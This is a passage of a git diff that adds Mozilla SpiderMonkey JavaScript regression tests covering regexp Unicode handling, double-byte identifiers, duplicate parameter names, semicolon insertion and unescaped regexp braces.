+ printStatus ("Unicode Characters 1C-1F with regexps test.");
+ printBugNumber (23612);
+
+ var ary = ["\u001Cfoo", "\u001Dfoo", "\u001Efoo", "\u001Ffoo"];
+
+ for (var i in ary)
+ {
+ reportCompare (0, ary[Number(i)].search(/^\Sfoo$/),
+ "Unicode characters 1C-1F in regexps, ary[" +
+ i + "] did not match \\S test (it should not.)");
+ reportCompare (-1, ary[Number(i)].search(/^\sfoo$/),
+ "Unicode characters 1C-1F in regexps, ary[" +
+ i + "] matched \\s test (it should not.)");
+ }
+
+ exitFunc ("test");
+}
diff --git a/js/src/tests/ecma_3/Unicode/uc-005.js b/js/src/tests/ecma_3/Unicode/uc-005.js
new file mode 100644
index 000000000..4693d50cb
--- /dev/null
+++ b/js/src/tests/ecma_3/Unicode/uc-005.js
@@ -0,0 +1,242 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 15 July 2002
+ * SUMMARY: Testing identifiers with double-byte names
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=58274
+ *
+ * Here is a sample of the problem:
+ *
+ * js> function f\u02B1 () {}
+ *
+ * js> f\u02B1.toSource();
+ * function f¦() {}
+ *
+ * js> f\u02B1.toSource().toSource();
+ * (new String("function f\xB1() {}"))
+ *
+ *
+ * See how the high-byte information (the 02) has been lost?
+ * The same thing was happening with the toString() method:
+ *
+ * js> f\u02B1.toString();
+ *
+ * function f¦() {
+ * }
+ *
+ * js> f\u02B1.toString().toSource();
+ * (new String("\nfunction f\xB1() {\n}\n"))
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 58274;
+var summary = 'Testing identifiers with double-byte names';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Define a function that uses double-byte identifiers in
+ * "every possible way"
+ *
+ * Then recover each double-byte identifier via f.toString().
+ * To make this easier, put a 'Z' token before every one.
+ *
+ * Our eval string will be:
+ *
+ * sEval = "function Z\u02b1(Z\u02b2, b) {
+ * try { Z\u02b3 : var Z\u02b4 = Z\u02b1; }
+ * catch (Z\u02b5) { for (var Z\u02b6 in Z\u02b5)
+ * {for (1; 1<0; Z\u02b7++) {new Array()[Z\u02b6] = 1;} };} }";
+ *
+ * It will be helpful to build this string in stages:
+ */
+var s0 = 'function Z';
+var s1 = '\u02b1(Z';
+var s2 = '\u02b2, b) {try { Z';
+var s3 = '\u02b3 : var Z';
+var s4 = '\u02b4 = Z';
+var s5 = '\u02b1; } catch (Z'
+ var s6 = '\u02b5) { for (var Z';
+var s7 = '\u02b6 in Z';
+var s8 = '\u02b5){for (1; 1<0; Z';
+var s9 = '\u02b7++) {new Array()[Z';
+var s10 = '\u02b6] = 1;} };} }';
+
+
+/*
+ * Concatenate these and eval() to create the function Z\u02b1
+ */
+var sEval = s0 + s1 + s2 + s3 + s4 + s5 + s6 + s7 + s8 + s9 + s10;
+eval(sEval);
+
+
+/*
+ * Recover all the double-byte identifiers via Z\u02b1.toString().
+ * We'll recover the 1st one as arrID[1], the 2nd one as arrID[2],
+ * and so on ...
+ */
+var arrID = getIdentifiers(Z\u02b1);
+
+
+/*
+ * Now check that we got back what we put in -
+ */
+status = inSection(1);
+actual = arrID[1];
+expect = s1.charAt(0);
+addThis();
+
+status = inSection(2);
+actual = arrID[2];
+expect = s2.charAt(0);
+addThis();
+
+status = inSection(3);
+actual = arrID[3];
+expect = s3.charAt(0);
+addThis();
+
+status = inSection(4);
+actual = arrID[4];
+expect = s4.charAt(0);
+addThis();
+
+status = inSection(5);
+actual = arrID[5];
+expect = s5.charAt(0);
+addThis();
+
+status = inSection(6);
+actual = arrID[6];
+expect = s6.charAt(0);
+addThis();
+
+status = inSection(7);
+actual = arrID[7];
+expect = s7.charAt(0);
+addThis();
+
+status = inSection(8);
+actual = arrID[8];
+expect = s8.charAt(0);
+addThis();
+
+status = inSection(9);
+actual = arrID[9];
+expect = s9.charAt(0);
+addThis();
+
+status = inSection(10);
+actual = arrID[10];
+expect = s10.charAt(0);
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Goal: recover the double-byte identifiers from f.toString()
+ * by getting the very next character after each 'Z' token.
+ *
+ * The return value will be an array |arr| indexed such that
+ * |arr[1]| is the 1st identifier, |arr[2]| the 2nd, and so on.
+ *
+ * Note, however, f.toString() is implementation-independent.
+ * For example, it may begin with '\nfunction' instead of 'function'.
+ *
+ * Rhino uses a Unicode representation for f.toString(); whereas
+ * SpiderMonkey uses an ASCII representation, putting escape sequences
+ * for non-ASCII characters. For example, if a function is called f\u02B1,
+ * then in Rhino the toString() method will present a 2-character Unicode
+ * string for its name, whereas SpiderMonkey will present a 7-character
+ * ASCII string for its name: the string literal 'f\u02B1'.
+ *
+ * So we force the lexer to condense the string before we use it.
+ * This will give uniform results in Rhino and SpiderMonkey.
+ */
+function getIdentifiers(f)
+{
+ var str = condenseStr(f.toString());
+ var arr = str.split('Z');
+
+ /*
+ * The identifiers are the 1st char of each split substring
+ * EXCEPT the first one, which is just ('\n' +) 'function '.
+ *
+ * Thus note the 1st identifier will be stored in |arr[1]|,
+ * the 2nd one in |arr[2]|, etc., making the indexing easy -
+ */
+ for (i in arr)
+ arr[i] = arr[i].charAt(0);
+ return arr;
+}
+
+
+/*
+ * This function is the opposite of a functions like escape(), which take
+ * Unicode characters and return escape sequences for them. Here, we force
+ * the lexer to turn escape sequences back into single characters.
+ *
+ * Note we can't simply do |eval(str)|, since in practice |str| will be an
+ * identifier somewhere in the program (e.g. a function name); thus |eval(str)|
+ * would return the object that the identifier represents: not what we want.
+ *
+ * So we surround |str| lexicographically with quotes to force the lexer to
+ * evaluate it as a string. Have to strip out any linefeeds first, however -
+ */
+function condenseStr(str)
+{
+ /*
+ * You won't be able to do the next step if |str| has
+ * any carriage returns or linefeeds in it. For example:
+ *
+ * js> eval("'" + '\nHello' + "'");
+ * 1: SyntaxError: unterminated string literal:
+ * 1: '
+ * 1: ^
+ *
+ * So replace them with the empty string -
+ */
+ str = str.replace(/[\r\n]/g, '')
+ return eval("'" + str + "'")
+ }
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/browser.js b/js/src/tests/ecma_3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/browser.js
diff --git a/js/src/tests/ecma_3/extensions/10.1.3-2.js b/js/src/tests/ecma_3/extensions/10.1.3-2.js
new file mode 100644
index 000000000..5bfd0046b
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/10.1.3-2.js
@@ -0,0 +1,128 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 11 Feb 2002
+ * SUMMARY: Testing functions having duplicate formal parameter names
+ *
+ * SpiderMonkey was crashing on each case below if the parameters had
+ * the same name. But duplicate parameter names are permitted by ECMA;
+ * see ECMA-262 3rd Edition Final Section 10.1.3
+ *
+ * NOTE: Rhino does not have toSource() and uneval(); they are non-ECMA
+ * extensions to the language. So we include a test for them at the beginning -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing functions having duplicate formal parameter names';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var OBJ = new Object();
+var OBJ_TYPE = OBJ.toString();
+
+/*
+ * Exit if the implementation doesn't support toSource() or uneval(),
+ * since these are non-ECMA extensions to the language -
+ */
+try
+{
+ if (!OBJ.toSource || !uneval(OBJ))
+ quit();
+}
+catch(e)
+{
+ quit();
+}
+
+
+/*
+ * OK, now begin the test. Just checking that we don't crash on these -
+ */
+function f1(x,x,x,x)
+{
+ var ret = eval(arguments.toSource());
+ return ret.toString();
+}
+status = inSection(1);
+actual = f1(1,2,3,4);
+expect = OBJ_TYPE;
+addThis();
+
+
+/*
+ * Same thing, but preface |arguments| with the function name
+ */
+function f2(x,x,x,x)
+{
+ var ret = eval(f2.arguments.toSource());
+ return ret.toString();
+}
+status = inSection(2);
+actual = f2(1,2,3,4);
+expect = OBJ_TYPE;
+addThis();
+
+
+function f3(x,x,x,x)
+{
+ var ret = eval(uneval(arguments));
+ return ret.toString();
+}
+status = inSection(3);
+actual = f3(1,2,3,4);
+expect = OBJ_TYPE;
+addThis();
+
+
+/*
+ * Same thing, but preface |arguments| with the function name
+ */
+function f4(x,x,x,x)
+{
+ var ret = eval(uneval(f4.arguments));
+ return ret.toString();
+}
+status = inSection(4);
+actual = f4(1,2,3,4);
+expect = OBJ_TYPE;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/extensions/7.9.1.js b/js/src/tests/ecma_3/extensions/7.9.1.js
new file mode 100644
index 000000000..e6aa6f7fd
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/7.9.1.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 402386;
+var summary = 'Automatic Semicolon insertion in restricted statements';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var code;
+
+ code = '(function() { label1: for (;;) { continue \n label1; }})';
+ actual = uneval(eval(code));
+ compareSource(code, actual, summary + ': ' + code);
+
+ code = '(function() { label2: for (;;) { break \n label2; }})';
+ actual = uneval(eval(code));
+ compareSource(code, actual, summary + ': ' + code);
+
+ code = '(function() { return \n x++; })';
+ actual = uneval(eval(code));
+ compareSource(code, actual, summary + ': ' + code);
+
+ print('see bug 256617');
+ code = '(function() { throw \n x++; })';
+// expect = '(function() { throw ; x++; })';
+ expect = 'SyntaxError: no line break is allowed between \'throw\' and its expression';
+ try { uneval(eval(code)); } catch(ex) { actual = ex + ''; };
+// compareSource(expect, actual, summary + ': ' + code);
+ reportCompare(expect, actual, summary + ': ' + code);
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/ecma_3/extensions/browser.js b/js/src/tests/ecma_3/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/browser.js
diff --git a/js/src/tests/ecma_3/extensions/regress-103087.js b/js/src/tests/ecma_3/extensions/regress-103087.js
new file mode 100644
index 000000000..95895c0f9
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/regress-103087.js
@@ -0,0 +1,144 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 04 October 2001
+ *
+ * SUMMARY: Arose from Bugzilla bug 103087:
+ * "The RegExp MarkupSPE in demo crashes Mozilla"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=103087
+ * The SpiderMonkey shell crashed on some of these regexps.
+ *
+ * The reported crash was on i=24 below ('MarkupSPE' regexp)
+ * I crashed on that, and also on i=43 ('XML_SPE' regexp)
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 103087;
+var summary = "Testing that we don't crash on any of these regexps -";
+var re = '';
+var lm = '';
+var lc = '';
+var rc = '';
+
+
+// the regexps are built in pieces -
+var NameStrt = "[A-Za-z_:]|[^\\x00-\\x7F]";
+var NameChar = "[A-Za-z0-9_:.-]|[^\\x00-\\x7F]";
+var Name = "(" + NameStrt + ")(" + NameChar + ")*";
+var TextSE = "[^<]+";
+var UntilHyphen = "[^-]*-";
+var Until2Hyphens = UntilHyphen + "([^-]" + UntilHyphen + ")*-";
+var CommentCE = Until2Hyphens + ">?";
+var UntilRSBs = "[^]]*]([^]]+])*]+";
+var CDATA_CE = UntilRSBs + "([^]>]" + UntilRSBs + ")*>";
+var S = "[ \\n\\t\\r]+";
+var QuoteSE = '"[^"]' + "*" + '"' + "|'[^']*'";
+var DT_IdentSE = S + Name + "(" + S + "(" + Name + "|" + QuoteSE + "))*";
+var MarkupDeclCE = "([^]\"'><]+|" + QuoteSE + ")*>";
+var S1 = "[\\n\\r\\t ]";
+var UntilQMs = "[^?]*\\?+";
+var PI_Tail = "\\?>|" + S1 + UntilQMs + "([^>?]" + UntilQMs + ")*>";
+var DT_ItemSE = "<(!(--" + Until2Hyphens + ">|[^-]" + MarkupDeclCE + ")|\\?" + Name + "(" + PI_Tail + "))|%" + Name + ";|" + S;
+var DocTypeCE = DT_IdentSE + "(" + S + ")?(\\[(" + DT_ItemSE + ")*](" + S + ")?)?>?";
+var DeclCE = "--(" + CommentCE + ")?|\\[CDATA\\[(" + CDATA_CE + ")?|DOCTYPE(" + DocTypeCE + ")?";
+var PI_CE = Name + "(" + PI_Tail + ")?";
+var EndTagCE = Name + "(" + S + ")?>?";
+var AttValSE = '"[^<"]' + "*" + '"' + "|'[^<']*'";
+var ElemTagCE = Name + "(" + S + Name + "(" + S + ")?=(" + S + ")?(" + AttValSE + "))*(" + S + ")?/?>?";
+var MarkupSPE = "<(!(" + DeclCE + ")?|\\?(" + PI_CE + ")?|/(" + EndTagCE + ")?|(" + ElemTagCE + ")?)";
+var XML_SPE = TextSE + "|" + MarkupSPE;
+var CommentRE = "<!--" + Until2Hyphens + ">";
+var CommentSPE = "<!--(" + CommentCE + ")?";
+var PI_RE = "<\\?" + Name + "(" + PI_Tail + ")";
+var Erroneous_PI_SE = "<\\?[^?]*(\\?[^>]+)*\\?>";
+var PI_SPE = "<\\?(" + PI_CE + ")?";
+var CDATA_RE = "<!\\[CDATA\\[" + CDATA_CE;
+var CDATA_SPE = "<!\\[CDATA\\[(" + CDATA_CE + ")?";
+var ElemTagSE = "<(" + NameStrt + ")([^<>\"']+|" + AttValSE + ")*>";
+var ElemTagRE = "<" + Name + "(" + S + Name + "(" + S + ")?=(" + S + ")?(" + AttValSE + "))*(" + S + ")?/?>";
+var ElemTagSPE = "<" + ElemTagCE;
+var EndTagRE = "</" + Name + "(" + S + ")?>";
+var EndTagSPE = "</(" + EndTagCE + ")?";
+var DocTypeSPE = "<!DOCTYPE(" + DocTypeCE + ")?";
+var PERef_APE = "%(" + Name + ";?)?";
+var HexPart = "x([0-9a-fA-F]+;?)?";
+var NumPart = "#([0-9]+;?|" + HexPart + ")?";
+var CGRef_APE = "&(" + Name + ";?|" + NumPart + ")?";
+var Text_PE = CGRef_APE + "|[^&]+";
+var EntityValue_PE = CGRef_APE + "|" + PERef_APE + "|[^%&]+";
+
+
+var rePatterns = new Array(AttValSE, CDATA_CE, CDATA_RE, CDATA_SPE, CGRef_APE, CommentCE, CommentRE, CommentSPE, DT_IdentSE, DT_ItemSE, DeclCE, DocTypeCE, DocTypeSPE, ElemTagCE, ElemTagRE, ElemTagSE, ElemTagSPE, EndTagCE, EndTagRE, EndTagSPE, EntityValue_PE, Erroneous_PI_SE, HexPart, MarkupDeclCE, MarkupSPE, Name, NameChar, NameStrt, NumPart, PERef_APE, PI_CE, PI_RE, PI_SPE, PI_Tail, QuoteSE, S, S1, TextSE, Text_PE, Until2Hyphens, UntilHyphen, UntilQMs, UntilRSBs, XML_SPE);
+
+
+// here's a big string to test the regexps on -
+var str = '';
+str += '<html xmlns="http://www.w3.org/1999/xhtml"' + '\n';
+str += ' xmlns:xlink="http://www.w3.org/XML/XLink/0.9">' + '\n';
+str += ' <head><title>Three Namespaces</title></head>' + '\n';
+str += ' <body>' + '\n';
+str += ' <h1 align="center">An Ellipse and a Rectangle</h1>' + '\n';
+str += ' <svg xmlns="http://www.w3.org/Graphics/SVG/SVG-19991203.dtd" ' + '\n';
+str += ' width="12cm" height="10cm">' + '\n';
+str += ' <ellipse rx="110" ry="130" />' + '\n';
+str += ' <rect x="4cm" y="1cm" width="3cm" height="6cm" />' + '\n';
+str += ' </svg>' + '\n';
+str += ' <p xlink:type="simple" xlink:href="ellipses.html">' + '\n';
+str += ' More about ellipses' + '\n';
+str += ' </p>' + '\n';
+str += ' <p xlink:type="simple" xlink:href="rectangles.html">' + '\n';
+str += ' More about rectangles' + '\n';
+str += ' </p>' + '\n';
+str += ' <hr/>' + '\n';
+str += ' <p>Last Modified February 13, 2000</p> ' + '\n';
+str += ' </body>' + '\n';
+str += '</html>';
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<rePatterns.length; i++)
+ {
+ status = inSection(i);
+ re = new RegExp(rePatterns[i]);
+
+ // Test that we don't crash on any of these -
+ re.exec(str);
+ getResults();
+
+ // Just for the heck of it, test the current leftContext
+ re.exec(lc);
+ getResults();
+
+ // Test the current rightContext
+ re.exec(rc);
+ getResults();
+ }
+
+ reportCompare('No Crash', 'No Crash', '');
+
+ exitFunc ('test');
+}
+
+
+function getResults()
+{
+ lm = RegExp.lastMatch;
+ lc = RegExp.leftContext;
+ rc = RegExp.rightContext;
+}
diff --git a/js/src/tests/ecma_3/extensions/regress-188206-01.js b/js/src/tests/ecma_3/extensions/regress-188206-01.js
new file mode 100644
index 000000000..b53260a80
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/regress-188206-01.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 188206;
+var summary = 'Invalid use of regexp quantifiers should generate SyntaxErrors';
+var TEST_PASSED = 'SyntaxError';
+var TEST_FAILED = 'Generated an error, but NOT a SyntaxError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Now do some weird things on the left side of the regexps -
+ */
+status = inSection(7);
+testThis(' /*a/ ');
+
+status = inSection(8);
+testThis(' /**a/ ');
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+/*
+ * Invalid syntax should generate a SyntaxError
+ */
+function testThis(sInvalidSyntax)
+{
+ expect = TEST_PASSED;
+ actual = TEST_FAILED_BADLY;
+
+ try
+ {
+ eval(sInvalidSyntax);
+ }
+ catch(e)
+ {
+ if (e instanceof SyntaxError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/extensions/regress-188206-02.js b/js/src/tests/ecma_3/extensions/regress-188206-02.js
new file mode 100644
index 000000000..ced5dd327
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/regress-188206-02.js
@@ -0,0 +1,124 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 188206;
+var summary = 'Invalid use of regexp quantifiers should generate SyntaxErrors';
+var CHECK_PASSED = 'Should not generate an error';
+var CHECK_FAILED = 'Generated an error!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * Misusing the {DecmalDigits} quantifier - according to ECMA,
+ * but not according to Perl.
+ *
+ * ECMA-262 Edition 3 prohibits the use of unescaped braces in
+ * regexp patterns, unless they form part of a quantifier.
+ *
+ * Hovever, Perl does not prohibit this. If not used as part
+ * of a quantifer, Perl treats braces literally.
+ *
+ * We decided to follow Perl on this for backward compatibility.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=190685.
+ *
+ * Therefore NONE of the following ECMA violations should generate
+ * a SyntaxError. Note we use checkThis() instead of testThis().
+ */
+status = inSection(13);
+checkThis(' /a*{/ ');
+
+status = inSection(14);
+checkThis(' /a{}/ ');
+
+status = inSection(15);
+checkThis(' /{a/ ');
+
+status = inSection(16);
+checkThis(' /}a/ ');
+
+status = inSection(17);
+checkThis(' /x{abc}/ ');
+
+status = inSection(18);
+checkThis(' /{{0}/ ');
+
+status = inSection(19);
+checkThis(' /{{1}/ ');
+
+status = inSection(20);
+checkThis(' /x{{0}/ ');
+
+status = inSection(21);
+checkThis(' /x{{1}/ ');
+
+status = inSection(22);
+checkThis(' /x{{0}}/ ');
+
+status = inSection(23);
+checkThis(' /x{{1}}/ ');
+
+status = inSection(24);
+checkThis(' /x{{0}}/ ');
+
+status = inSection(25);
+checkThis(' /x{{1}}/ ');
+
+status = inSection(26);
+checkThis(' /x{{0}}/ ');
+
+status = inSection(27);
+checkThis(' /x{{1}}/ ');
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Allowed syntax shouldn't generate any errors
+ */
+function checkThis(sAllowedSyntax)
+{
+ expect = CHECK_PASSED;
+ actual = CHECK_PASSED;
+
+ try
+ {
+ eval(sAllowedSyntax);
+ }
+ catch(e)
+ {
+ actual = CHECK_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/extensions/regress-220367-002.js b/js/src/tests/ecma_3/extensions/regress-220367-002.js
new file mode 100644
index 000000000..be83c1d92
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/regress-220367-002.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 September 2003
+ * SUMMARY: Regexp conformance test
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=220367
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 220367;
+var summary = 'Regexp conformance test';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var re = /(a)|(b)/;
+
+re.test('a');
+status = inSection(1);
+actual = RegExp.$1;
+expect = 'a';
+addThis();
+
+status = inSection(2);
+actual = RegExp.$2;
+expect = '';
+addThis();
+
+re.test('b');
+status = inSection(3);
+actual = RegExp.$1;
+expect = '';
+addThis();
+
+status = inSection(4);
+actual = RegExp.$2;
+expect = 'b';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/extensions/regress-228087.js b/js/src/tests/ecma_3/extensions/regress-228087.js
new file mode 100644
index 000000000..94473abc0
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/regress-228087.js
@@ -0,0 +1,318 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+/* This Source Code Form is subject to the terms of the Mozilla Public
+* License, v. 2.0. If a copy of the MPL was not distributed with this
+* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 12 December 2003
+ * SUMMARY: Testing regexps with unescaped braces
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=228087
+ *
+ * Note: unbalanced, unescaped braces are not permitted by ECMA-262 Ed.3,
+ * but we decided to follow Perl and IE and allow this for compatibility.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=188206 and its testcase.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=223273 and its testcase.
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 228087;
+var summary = 'Testing regexps with unescaped braces';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+var e;
+
+
+string = 'foo {1} foo {2} foo';
+
+// try an example with the braces escaped
+status = inSection(1);
+try
+{
+ pattern = new RegExp('\{1.*\}', 'g');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('{1} foo {2}');
+addThis();
+
+// just like Section 1, without the braces being escaped
+status = inSection(2);
+try
+{
+ pattern = new RegExp('{1.*}', 'g');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('{1} foo {2}');
+addThis();
+
+// try an example with the braces escaped
+status = inSection(3);
+try
+{
+ pattern = new RegExp('\{1[.!\}]*\}', 'g');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('{1}');
+addThis();
+
+// just like Section 3, without the braces being escaped
+status = inSection(4);
+try
+{
+ pattern = new RegExp('{1[.!}]*}', 'g');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('{1}');
+addThis();
+
+
+string = 'abccccc{3 }c{ 3}c{3, }c{3 ,}c{3 ,4}c{3, 4}c{3,4 }de';
+
+// use braces in a normal quantifier construct
+status = inSection(5);
+try
+{
+ pattern = new RegExp('c{3}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('ccc');
+addThis();
+
+// now disrupt the quantifer - the braces should now be interpreted literally
+status = inSection(6);
+try
+{
+ pattern = new RegExp('c{3 }');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 }');
+addThis();
+
+status = inSection(7);
+try
+{
+ pattern = new RegExp('c{3.}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 }');
+addThis();
+
+status = inSection(8);
+try
+{
+ // need to escape the \ in \s since
+ // this has been converted to a constructor call
+ // instead of a literal regexp
+ pattern = new RegExp('c{3\\s}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 }');
+addThis();
+
+status = inSection(9);
+try
+{
+ pattern = new RegExp('c{3[ ]}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 }');
+addThis();
+
+status = inSection(10);
+try
+{
+ pattern = new RegExp('c{ 3}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{ 3}');
+addThis();
+
+// using braces in a normal quantifier construct again
+status = inSection(11);
+try
+{
+ pattern = new RegExp('c{3,}');
